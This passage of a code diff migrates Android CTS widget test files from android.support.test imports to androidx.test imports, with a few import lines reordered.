import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
index 8798c2d..f547bed 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
@@ -37,12 +37,6 @@
import android.net.Uri;
import android.os.Bundle;
import android.os.Parcel;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.text.TextUtils;
import android.util.TypedValue;
import android.view.View;
@@ -73,6 +67,13 @@
import android.widget.ViewFlipper;
import android.widget.cts.util.TestUtils;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.WidgetTestUtils;
import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsWidgetTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsWidgetTest.java
index 0e05a0d..290de47 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViewsWidgetTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsWidgetTest.java
@@ -38,10 +38,6 @@
import android.os.Bundle;
import android.os.Process;
import android.platform.test.annotations.AppModeFull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.View;
import android.view.ViewGroup;
import android.widget.AbsListView;
@@ -53,6 +49,11 @@
import android.widget.cts.appwidget.MyAppWidgetProvider;
import android.widget.cts.appwidget.MyAppWidgetService;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.SystemUtil;
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViews_ActionExceptionTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViews_ActionExceptionTest.java
index 3550108..7aafe96 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViews_ActionExceptionTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViews_ActionExceptionTest.java
@@ -16,10 +16,11 @@
package android.widget.cts;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.widget.RemoteViews;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/widget/src/android/widget/cts/ResourceCursorAdapterTest.java b/tests/tests/widget/src/android/widget/cts/ResourceCursorAdapterTest.java
index 972f092..5d4a79a 100644
--- a/tests/tests/widget/src/android/widget/cts/ResourceCursorAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ResourceCursorAdapterTest.java
@@ -27,15 +27,16 @@
import android.content.Context;
import android.database.Cursor;
import android.database.MatrixCursor;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ResourceCursorAdapter;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/widget/src/android/widget/cts/ResourceCursorTreeAdapterTest.java b/tests/tests/widget/src/android/widget/cts/ResourceCursorTreeAdapterTest.java
index 2076620..d235a22 100644
--- a/tests/tests/widget/src/android/widget/cts/ResourceCursorTreeAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ResourceCursorTreeAdapterTest.java
@@ -22,15 +22,16 @@
import android.content.Context;
import android.database.Cursor;
import android.database.MatrixCursor;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ResourceCursorTreeAdapter;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/widget/src/android/widget/cts/ScrollViewTest.java b/tests/tests/widget/src/android/widget/cts/ScrollViewTest.java
index 3abb023..a4ccd50 100644
--- a/tests/tests/widget/src/android/widget/cts/ScrollViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ScrollViewTest.java
@@ -29,11 +29,6 @@
import android.app.Instrumentation;
import android.content.Context;
import android.graphics.Rect;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.view.View;
@@ -44,6 +39,12 @@
import android.widget.TextView;
import android.widget.cts.util.TestUtils;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/ScrollerTest.java b/tests/tests/widget/src/android/widget/cts/ScrollerTest.java
index e9d98ae..d829bcd 100644
--- a/tests/tests/widget/src/android/widget/cts/ScrollerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ScrollerTest.java
@@ -22,13 +22,14 @@
import android.content.Context;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.animation.LinearInterpolator;
import android.widget.Scroller;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/widget/src/android/widget/cts/SearchViewTest.java b/tests/tests/widget/src/android/widget/cts/SearchViewTest.java
index 301cea2..08dd6a5 100644
--- a/tests/tests/widget/src/android/widget/cts/SearchViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SearchViewTest.java
@@ -30,16 +30,17 @@
import android.app.Activity;
import android.app.Instrumentation;
import android.content.res.Resources;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.text.InputType;
import android.text.TextUtils;
import android.view.inputmethod.EditorInfo;
import android.widget.SearchView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/SearchView_CursorTest.java b/tests/tests/widget/src/android/widget/cts/SearchView_CursorTest.java
index c40c0fd..f3fbacc 100644
--- a/tests/tests/widget/src/android/widget/cts/SearchView_CursorTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SearchView_CursorTest.java
@@ -31,11 +31,6 @@
import android.database.Cursor;
import android.database.MatrixCursor;
import android.provider.BaseColumns;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.text.TextUtils;
import android.view.View;
import android.view.ViewGroup;
@@ -44,6 +39,12 @@
import android.widget.SearchView;
import android.widget.SimpleCursorAdapter;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsTouchUtils;
import com.android.compatibility.common.util.PollingCheck;
diff --git a/tests/tests/widget/src/android/widget/cts/SeekBarTest.java b/tests/tests/widget/src/android/widget/cts/SeekBarTest.java
index 9395db4..d7a6c90 100644
--- a/tests/tests/widget/src/android/widget/cts/SeekBarTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SeekBarTest.java
@@ -27,13 +27,14 @@
import android.app.Activity;
import android.app.Instrumentation;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.MotionEvent;
import android.widget.SeekBar;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/SimpleAdapterTest.java b/tests/tests/widget/src/android/widget/cts/SimpleAdapterTest.java
index 3c388fc..3b2278d 100644
--- a/tests/tests/widget/src/android/widget/cts/SimpleAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SimpleAdapterTest.java
@@ -35,10 +35,6 @@
import android.content.res.Resources.Theme;
import android.graphics.Bitmap;
import android.graphics.drawable.BitmapDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.LayoutInflater;
import android.view.View;
import android.widget.ImageView;
@@ -47,6 +43,11 @@
import android.widget.TextView;
import android.widget.TwoLineListItem;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.WidgetTestUtils;
import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/SimpleCursorAdapterTest.java b/tests/tests/widget/src/android/widget/cts/SimpleCursorAdapterTest.java
index 880da98..b0cbb0c 100644
--- a/tests/tests/widget/src/android/widget/cts/SimpleCursorAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SimpleCursorAdapterTest.java
@@ -35,10 +35,6 @@
import android.database.MatrixCursor;
import android.graphics.Bitmap;
import android.graphics.drawable.BitmapDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
@@ -47,6 +43,11 @@
import android.widget.SimpleCursorAdapter;
import android.widget.TextView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.WidgetTestUtils;
import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/SimpleCursorTreeAdapterTest.java b/tests/tests/widget/src/android/widget/cts/SimpleCursorTreeAdapterTest.java
index fefd261..7d055e4 100644
--- a/tests/tests/widget/src/android/widget/cts/SimpleCursorTreeAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SimpleCursorTreeAdapterTest.java
@@ -25,15 +25,16 @@
import android.database.MatrixCursor;
import android.graphics.Bitmap;
import android.graphics.drawable.BitmapDrawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.View;
import android.widget.ImageView;
import android.widget.SimpleCursorTreeAdapter;
import android.widget.TextView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.WidgetTestUtils;
import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/SimpleExpandableListAdapterTest.java b/tests/tests/widget/src/android/widget/cts/SimpleExpandableListAdapterTest.java
index eef0a49..908eccf 100644
--- a/tests/tests/widget/src/android/widget/cts/SimpleExpandableListAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SimpleExpandableListAdapterTest.java
@@ -22,10 +22,6 @@
import static org.junit.Assert.assertTrue;
import android.content.Context;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.LayoutInflater;
import android.view.View;
import android.widget.LinearLayout;
@@ -33,6 +29,11 @@
import android.widget.TextView;
import android.widget.TwoLineListItem;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/widget/src/android/widget/cts/SlidingDrawerTest.java b/tests/tests/widget/src/android/widget/cts/SlidingDrawerTest.java
index 1993244..4946bda 100644
--- a/tests/tests/widget/src/android/widget/cts/SlidingDrawerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SlidingDrawerTest.java
@@ -31,11 +31,6 @@
import android.app.Activity;
import android.app.Instrumentation;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.view.View;
@@ -43,6 +38,12 @@
import android.widget.SlidingDrawer;
import android.widget.TextView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/SpinnerTest.java b/tests/tests/widget/src/android/widget/cts/SpinnerTest.java
index 9aebd71..6c391b1 100644
--- a/tests/tests/widget/src/android/widget/cts/SpinnerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SpinnerTest.java
@@ -34,11 +34,6 @@
import android.content.res.Resources.Theme;
import android.graphics.Color;
import android.graphics.drawable.Drawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.ContextThemeWrapper;
import android.view.Gravity;
import android.view.KeyEvent;
@@ -47,6 +42,12 @@
import android.widget.Spinner;
import android.widget.cts.util.TestUtils;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsTouchUtils;
import com.android.compatibility.common.util.WidgetTestUtils;
diff --git a/tests/tests/widget/src/android/widget/cts/SwitchTest.java b/tests/tests/widget/src/android/widget/cts/SwitchTest.java
index 1123a4e..329f12e 100644
--- a/tests/tests/widget/src/android/widget/cts/SwitchTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SwitchTest.java
@@ -29,16 +29,17 @@
import android.graphics.Rect;
import android.graphics.Typeface;
import android.graphics.drawable.Drawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.ContextThemeWrapper;
import android.view.ViewGroup;
import android.widget.Switch;
import android.widget.cts.util.TestUtils;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.WidgetTestUtils;
import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/TabHostTest.java b/tests/tests/widget/src/android/widget/cts/TabHostTest.java
index 36f7108..5a225a1 100644
--- a/tests/tests/widget/src/android/widget/cts/TabHostTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TabHostTest.java
@@ -30,11 +30,6 @@
import android.app.ActivityGroup;
import android.app.Instrumentation;
import android.content.Intent;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.KeyEvent;
import android.view.View;
import android.widget.ListView;
@@ -43,6 +38,12 @@
import android.widget.TabHost.TabSpec;
import android.widget.TextView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.WidgetTestUtils;
import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/TabHost_TabSpecTest.java b/tests/tests/widget/src/android/widget/cts/TabHost_TabSpecTest.java
index a0498d5..b469212 100644
--- a/tests/tests/widget/src/android/widget/cts/TabHost_TabSpecTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TabHost_TabSpecTest.java
@@ -30,17 +30,18 @@
import android.graphics.drawable.ColorDrawable;
import android.graphics.drawable.Drawable;
import android.net.Uri;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.View;
import android.widget.ImageView;
import android.widget.ListView;
import android.widget.TabHost;
import android.widget.TextView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/TabWidgetTest.java b/tests/tests/widget/src/android/widget/cts/TabWidgetTest.java
index 7af7af9..a09cfdf 100644
--- a/tests/tests/widget/src/android/widget/cts/TabWidgetTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TabWidgetTest.java
@@ -26,11 +26,6 @@
import android.app.Instrumentation;
import android.content.Context;
import android.graphics.drawable.Drawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.LayoutInflater;
import android.view.View;
import android.widget.LinearLayout;
@@ -41,6 +36,12 @@
import android.widget.TextView;
import android.widget.cts.util.TestUtils;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/TableLayoutTest.java b/tests/tests/widget/src/android/widget/cts/TableLayoutTest.java
index 3532e99..7236149 100644
--- a/tests/tests/widget/src/android/widget/cts/TableLayoutTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TableLayoutTest.java
@@ -30,11 +30,6 @@
import android.app.Instrumentation;
import android.content.Context;
import android.content.res.XmlResourceParser;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.view.View;
@@ -47,6 +42,12 @@
import android.widget.TableRow;
import android.widget.TextView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/TableLayout_LayoutParamsTest.java b/tests/tests/widget/src/android/widget/cts/TableLayout_LayoutParamsTest.java
index 009937f..184cf6c 100644
--- a/tests/tests/widget/src/android/widget/cts/TableLayout_LayoutParamsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TableLayout_LayoutParamsTest.java
@@ -22,15 +22,16 @@
import android.content.Context;
import android.content.res.TypedArray;
import android.content.res.XmlResourceParser;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.view.ViewGroup;
import android.widget.TableLayout;
import android.widget.cts.util.XmlUtils;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/widget/src/android/widget/cts/TableRowTest.java b/tests/tests/widget/src/android/widget/cts/TableRowTest.java
index 330a818..fedebd9 100644
--- a/tests/tests/widget/src/android/widget/cts/TableRowTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TableRowTest.java
@@ -30,10 +30,6 @@
import android.content.Context;
import android.content.res.Resources;
import android.content.res.XmlResourceParser;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.view.View;
@@ -45,6 +41,11 @@
import android.widget.TableRow;
import android.widget.TextView;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/TableRow_LayoutParamsTest.java b/tests/tests/widget/src/android/widget/cts/TableRow_LayoutParamsTest.java
index 453b0c1..c306a3d 100644
--- a/tests/tests/widget/src/android/widget/cts/TableRow_LayoutParamsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TableRow_LayoutParamsTest.java
@@ -22,10 +22,6 @@
import android.app.Activity;
import android.content.res.TypedArray;
import android.content.res.XmlResourceParser;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.view.View;
@@ -35,6 +31,11 @@
import android.widget.TableRow;
import android.widget.cts.util.XmlUtils;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/TextClockTest.java b/tests/tests/widget/src/android/widget/cts/TextClockTest.java
index 0f55bbc..d8caf94 100644
--- a/tests/tests/widget/src/android/widget/cts/TextClockTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextClockTest.java
@@ -26,13 +26,14 @@
import android.net.Uri;
import android.os.Handler;
import android.provider.Settings;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.MutableBoolean;
import android.widget.TextClock;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.SystemUtil;
diff --git a/tests/tests/widget/src/android/widget/cts/TextSwitcherTest.java b/tests/tests/widget/src/android/widget/cts/TextSwitcherTest.java
index fb99cc7..fae4a9b 100644
--- a/tests/tests/widget/src/android/widget/cts/TextSwitcherTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextSwitcherTest.java
@@ -21,15 +21,16 @@
import static org.junit.Assert.fail;
import android.app.Activity;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.ViewGroup;
import android.widget.ListView;
import android.widget.TextSwitcher;
import android.widget.TextView;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewFadingEdgeTest.java b/tests/tests/widget/src/android/widget/cts/TextViewFadingEdgeTest.java
index f001b46..6d8f24d 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewFadingEdgeTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewFadingEdgeTest.java
@@ -30,14 +30,15 @@
import android.app.Activity;
import android.app.Instrumentation;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.TypedValue;
import android.view.ViewGroup;
import android.widget.FrameLayout;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewFontWeightTest.java b/tests/tests/widget/src/android/widget/cts/TextViewFontWeightTest.java
index 11ed15d..757aa11 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewFontWeightTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewFontWeightTest.java
@@ -22,13 +22,14 @@
import android.content.Context;
import android.graphics.Paint;
import android.graphics.Typeface;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.LayoutInflater;
import android.view.ViewGroup;
import android.widget.TextView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewPrecomputedTextTest.java b/tests/tests/widget/src/android/widget/cts/TextViewPrecomputedTextTest.java
index ffa5a28..4a04dd7 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewPrecomputedTextTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewPrecomputedTextTest.java
@@ -16,10 +16,10 @@
package android.widget.cts;
+import static org.junit.Assert.fail;
+
import android.content.Context;
import android.graphics.Typeface;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
import android.text.Layout;
import android.text.PrecomputedText;
import android.text.PrecomputedText.Params;
@@ -31,7 +31,8 @@
import android.util.Pair;
import android.widget.TextView;
-import static org.junit.Assert.fail;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewTest.java b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
index 7c55f90..432b94d 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
@@ -41,8 +41,6 @@
import static org.mockito.Mockito.verifyZeroInteractions;
import static org.mockito.Mockito.when;
-import static java.lang.annotation.RetentionPolicy.SOURCE;
-
import android.app.Activity;
import android.app.Instrumentation;
import android.app.Instrumentation.ActivityMonitor;
@@ -73,14 +71,6 @@
import android.os.Looper;
import android.os.Parcelable;
import android.os.SystemClock;
-import androidx.annotation.IntDef;
-import androidx.annotation.Nullable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Editable;
import android.text.InputFilter;
import android.text.InputType;
@@ -150,6 +140,15 @@
import android.widget.TextView.BufferType;
import android.widget.cts.util.TestUtils;
+import androidx.annotation.IntDef;
+import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsKeyEventUtil;
import com.android.compatibility.common.util.CtsTouchUtils;
import com.android.compatibility.common.util.PollingCheck;
@@ -162,6 +161,8 @@
import org.mockito.invocation.InvocationOnMock;
import org.xmlpull.v1.XmlPullParserException;
+import static java.lang.annotation.RetentionPolicy.SOURCE;
+
import java.io.IOException;
import java.lang.annotation.Retention;
import java.util.Arrays;
